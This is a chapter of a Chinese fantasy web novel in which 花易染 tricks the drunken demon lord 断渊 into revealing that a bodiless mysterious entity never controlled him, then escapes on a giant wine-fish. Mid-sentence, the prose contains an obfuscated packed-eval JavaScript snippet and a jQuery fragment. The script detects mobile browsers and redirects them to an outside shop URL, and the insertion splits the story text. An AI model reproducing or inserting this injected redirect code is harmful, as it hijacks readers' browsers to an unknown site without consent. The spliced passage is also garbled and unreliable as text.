直至此刻,墨垠方才敢稍稍分心,环视周遭环境。
这是一个宽敞的山洞,约莫百丈之广,洞壁四周密布着小石洞,石洞里放着各色各样的酒坛子。
洞中央,是一个与外界相连的巨大酒池,那条名为醉鲲的巨鱼正在酒池里欢快地游弋,上下翻飞,欢腾的像是刚刚痛饮过头的豪迈醉汉。
墨垠望着这一幕,不禁脱口而出:“酒里也可以养鱼?”
断渊闻言,扭过头去,好像刚注意到墨垠一样,微微蹙眉审视他。
墨垠觉得自己跟断渊有点儿熟,怕他认出自己,于是又往花易染的颈间缩了缩。
此时断渊开了口:“这你儿子?”
墨垠:“?”
花易染打量着周围漫不经心的回应:“没错,像吧?”
断渊点了点头:“嗯,像,看着就短命。”
墨垠:“???”
花易染将目光收回,看着断渊浅笑:“多谢夸奖,你看起来也一样。”
断渊冷笑一声,一挥手,一张石桌和一个石凳朝着花易染呼啸而来,花易染伸手接下,沉重的石桌在他指尖打了个璇儿稳稳的落在地上,石凳则被他踢了一脚正好落在他屁股底下。
他一拍桌子:“快上好酒!”
断渊脸色一暗:“你使唤谁呢?”
花易染捧出那块留音石抚摸着道:“你说该给它起个什么名字能大卖呢?魔尊和邪神不得不说的两三事?哈哈哈,你醉酒之后一半都在说邪神,夸他的一招一式精妙绝伦,对灵力的理解到了极致。那个欣赏的样子,啧啧啧,虽然没有画面,但是有声音就行,坊间的女子们会把这些传的有鼻子有眼。”
他肩膀上的墨垠默默的滑了下去:谢谢夸奖,但是有被冒犯到。
断渊的腮帮子一鼓一鼓的,看起来牙都快碎了,他一个字一个字的从牙缝里往外面挤:“你最好永远别落到本尊手里,否则,本尊把你手脚砍了泡在酒里做酒引,让你看着自己的血掺着酒喂鱼!”
他话说的一句顶一句的狠,但石壁之上却已然有一坛酒飞了过来,落到了石桌之上。
花易染打开酒封,闻上一口,叫了一声好酒,而后不知道从哪里掏出来两只碗,酒倒入碗,满满当当。
他抬头望向断渊:“一起喝?”
断渊冷哼一声,高傲的把头扭向别处。
花易染咪眼笑道:“上次喝服了?不敢了?”
断渊猛地回头,凭空掏出一只石凳,“扑通”一声重重地放在花易染对面,然后坐了下来。他那双极具侵略性的眼睛紧紧地盯着花易染,仿佛要用眼神将对方洞穿。
“这次你就在我眼皮子底下和我喝,我看你还能耍什么花样!”
墨垠看到这里便想走,两个酒蒙子对上了,一个不务正业,另外一个不管什么套都往里钻,不想看了,想去找白曦。
他开始四处瞄出口。
花易染举起碗,碰了碰断渊面前的那只碗:“干了。”
二人双双拿起,一饮而尽,一滴不剩。
花易染拍手道:“果然好酒量,再来!”
二人交谈间,三碗烈酒已迅速下肚。花易染显得醉眼朦胧,东倒西歪,仿佛随时都会倒下。断渊倒是没有醉意,他鄙夷的看着花易染,眼睛里的锐气已经减少很多,闪着自豪的光。
看他们两个的状态,墨垠心里了然,断渊已经在花易染手掌心了。
墨垠在他们推杯换盏之间已经找到了一个类似是出口的地方,正要往那边挪,却听花易染道:
“自从第一次见识到魔尊的英姿,我便深深感受到了您的英雄气概和豪爽性格。
留音石那件事,我承认是我做得不妥,但我那样做也是希望我们之间能有更多的交集。
俗话说得好,酒逢知己千杯少,咱上了酒桌,就是亲兄弟。”
墨垠放慢了脚步,心中隐隐感觉花易染在憋大招。
果然,花易染再次拿出了那颗留音石。
断渊的脸色微微一变,但紧接着,花易染便紧紧握住断渊的手,带着几分真诚的醉意说道:
“能与大人共饮,实乃我之荣幸。为了证明我对大人的倾慕绝对真挚,我现在就将这颗留音石呈给大人,至于其他的留音石,我明天一早就亲自送来!”
说罢,他毫不犹豫地将另一只手里的留音石塞到了断渊的手中。
断渊皱着眉头看着手中的留音石,似乎在考虑花易染所说的真假,他的掌心隐隐发出红光,看起来是要探那颗留音石。
此时花易染猛地把一碗酒递到断渊眼下,醉醉醺醺道:“来,魔尊大人,喝!”
断渊白了他一眼,但还是收起了留音石,接过那碗酒一饮而尽。
花易染扯着自己屁股底下的石凳子靠近断渊:“大人,其实我这次来还有一事相告。”
断渊将酒碗递过去让他倒酒:“说。”
花易染那副样子多少带点儿谄媚:“您知道这些日子外边的人都怎么说您吗?”
断渊抬眼看他:“怎么说。”
花易染一脸痛心疾首道:“他们传您最好战,肯定也和冥王一样,接受了那神秘存在的力量,甘愿做那神秘存在的狗腿子。”
断渊猛地一拍桌子,直接把石桌拍碎了,上面的酒水撒了一地。
断渊愤怒道:“胡说,我断渊好战不假,但每次都是靠自己的力量堂堂正正的战,借助别人的力量即便是赢了又有什么意思?”
花易染眼睛里有一缕一闪而过的光,墨垠心中也亮了一下。花易染开始套话了,如今可知,断渊果然没受到那个神秘存在的控制。
花易染挥挥手,那石桌的残骸立刻消失了,他从芥子空间又掏出一张石桌,放上两只碗,而后道:“我就说魔尊大人肯定不屑于干这种事,大人再多拿几坛酒,咱们今天不醉不归。”
下一刻,果然有三坛酒从石壁之上飞了下来落在石桌上,花易染再次给断渊斟满,而后道:“不过大人,那神秘存在真的那么厉害吗?连邪神都能克制?”
断渊将一碗酒一饮而尽,声音已经略有醉意:“那东西也就看起来厉害,其实也就那么回事。它刚出现时我还以为又能酣畅淋漓的战一场呢,结果它连实体都没有,真没劲。”
墨垠早已经停住,他竖起耳朵仔细的听着,生怕漏掉一个字。
此时花易染再次给断渊斟上酒,同他喝了一碗后问道:“您不接受那神秘存在赋予的力量,它不会对您不利吗?”
断渊不屑的冷笑一声:“那得看它有没有那个本事。有人想要它的力量,它自然可以趁虚而入,本尊对它无欲无求,它怎么对本尊不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12942868|136428||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
利?”
墨垠心道这一趟可真没白来,起码知道了那只大手没有实体,只能通过赋予和操控来达到自己的目的。只是不知道,当初劈死自己那三千道天雷那只大手是如何引来的,为什么面对魔尊却不用了。
此时断渊不等花易染问就主动说了下去:“它总是在我耳边念叨,说能给我最强大的力量,让我可以去挑战更厉害的对手,但邪神墨垠都凉了,我挑战谁啊?”
“它说新来的天命者也是个挑战,但我可不吃那一套。我要的是实打实的战斗,不是靠外力撑起来的虚假胜利。”
“所以我一直没搭理它,结果这家伙见诱惑不了我,就灰溜溜地跑了,真是,没劲透了。”
他将已空的酒碗顺手递给花易染:“再来一碗!”
此时花易染却把酒封盖上了,而后搬起酒轻轻的放进了自己的芥子空间。
断渊疑惑:“你这是作甚?”
花易染没有回答,只是默默地将桌上的酒坛一一收起,又站起来开始往芥子空间里扫荡周围的酒。
断渊阴沉下脸:“本尊允许你带走了吗?”
花易染转头看着断渊笑,眼神清明如许,哪里有一点儿醉酒的样子,他道:“你先看看留音石吧。”
他说罢,手一抬,先把墨垠夹在了腋下,而后继续不断的装酒。
断渊不明所以的拿出留音石来查看,,注入灵力后,他的脸色瞬间变得铁青。紧接着,留音石在他手中化为灰烬,他一掌将身旁的石桌击得粉碎。
断渊的怒吼声响彻山洞:“你竟敢拿随便捡来的石头骗我!”
一阵极具威压的暗红色灵力猛然荡开,石壁上的酒坛子瞬间被震得稀碎。
正在装酒的花易染“啧”了一声:“暴殄天物。”
紧接着,周围猛然卷起无数红色血刃,犹如狂风中的锋利刀片,呼啸着席卷整个山洞。一瞬之间,血刃飞舞,石壁被切割出道道痕迹,整个山洞仿佛变成了一片战场。
花易染身形灵动,如同游鱼般在肆虐的红色血刃中穿梭,两三下便轻盈地跃上醉鲲宽阔的背部。
醉鲲感受到背上的异动,怒吼一声,意图通过打滚将这位不速之客和那只小猫甩落。
花易染轻轻拍了拍它的,安抚道:“醉鲲,你带我们出去,我会用刚才吸引你的那种美酒作为报答。一百坛,如何?你在断渊这里可尝不到那么柔和的酒,他只会喝烈酒。”
醉鲲昂起头,眼中闪过一丝犹豫。但美酒的诱惑似乎战胜了它对断渊的忠诚,下一刻,它载着花易染和墨垠冲破山洞的束缚,冲向了天际。
墨垠回头望着因断渊暴怒而塌陷的洞穴,深深叹了口气:“他可是出了名的记仇,你这样做,以后会后悔的。”
花易染悠然躺在大鱼背上品尝刚刚的战利品,看着蓝天白云,好不自在,直到墨垠一爪子拍在了他的脸上。
“你看看到哪了。”
花易染坐起,茫然的看了看四周,只见周围魔障冲天,暗红色的结界瞬间形成,将他们牢牢困住。此时醉鲲又开始不安分的翻滚起来,花易染只得抱着墨垠飘到了上空。
花易染:“TMD,聪明一世,被一条鱼玩了。”
墨垠:“TMD,不想和聪明过头的傻子一起,不关我事,放我下来,我要去找白曦。”